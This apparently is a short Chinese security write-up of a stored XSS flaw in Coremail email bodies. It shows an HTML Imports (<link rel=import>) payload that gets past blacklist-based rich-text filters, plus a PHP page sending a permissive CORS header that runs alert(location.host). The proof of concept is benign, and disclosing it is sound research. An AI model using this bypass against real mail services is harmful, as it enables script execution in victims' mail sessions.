Coremail邮件正文存储型XSS漏洞(浏览器攻击技巧)

chrome进入36时代以后,多了一种引入外部HTML的方法:

1
<link rel=import href=http://xxx/xxx.html>

twitter上MK很早就通过这个方法bypass了当时的chrome audit: https://twitter.com/avlidienbrunn/status/486059626002395136 ,但实际上这个方法的危害不止于此,大部分基于黑名单的富文本过滤器是没有考虑这个方式的XSS的,通过这个就能简单构造一个XSS。
首先我先准备一个https的payload(因为很多邮箱默认是走SSL,不能加载http下的内容。我这里是一个未签名的演示页面,实际上是会被拦截的,实战中请使用签名的SSL证书): https://auth.mhz.pw/game/sop/01.php

1
2
3
4
5
6
<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
alert(location.host);
</script>

需要输出”Access-Control-Allow-Origin: *”头,否则那边是没法跨域请求我的。
邮件正文填写如下html:

1
<link rel=import href=https://auth.mhz.pw/game/sop/01.php>

即可触发(可见域为email的域而非auth.mhz.pw):

0011.jpg

0011.jpg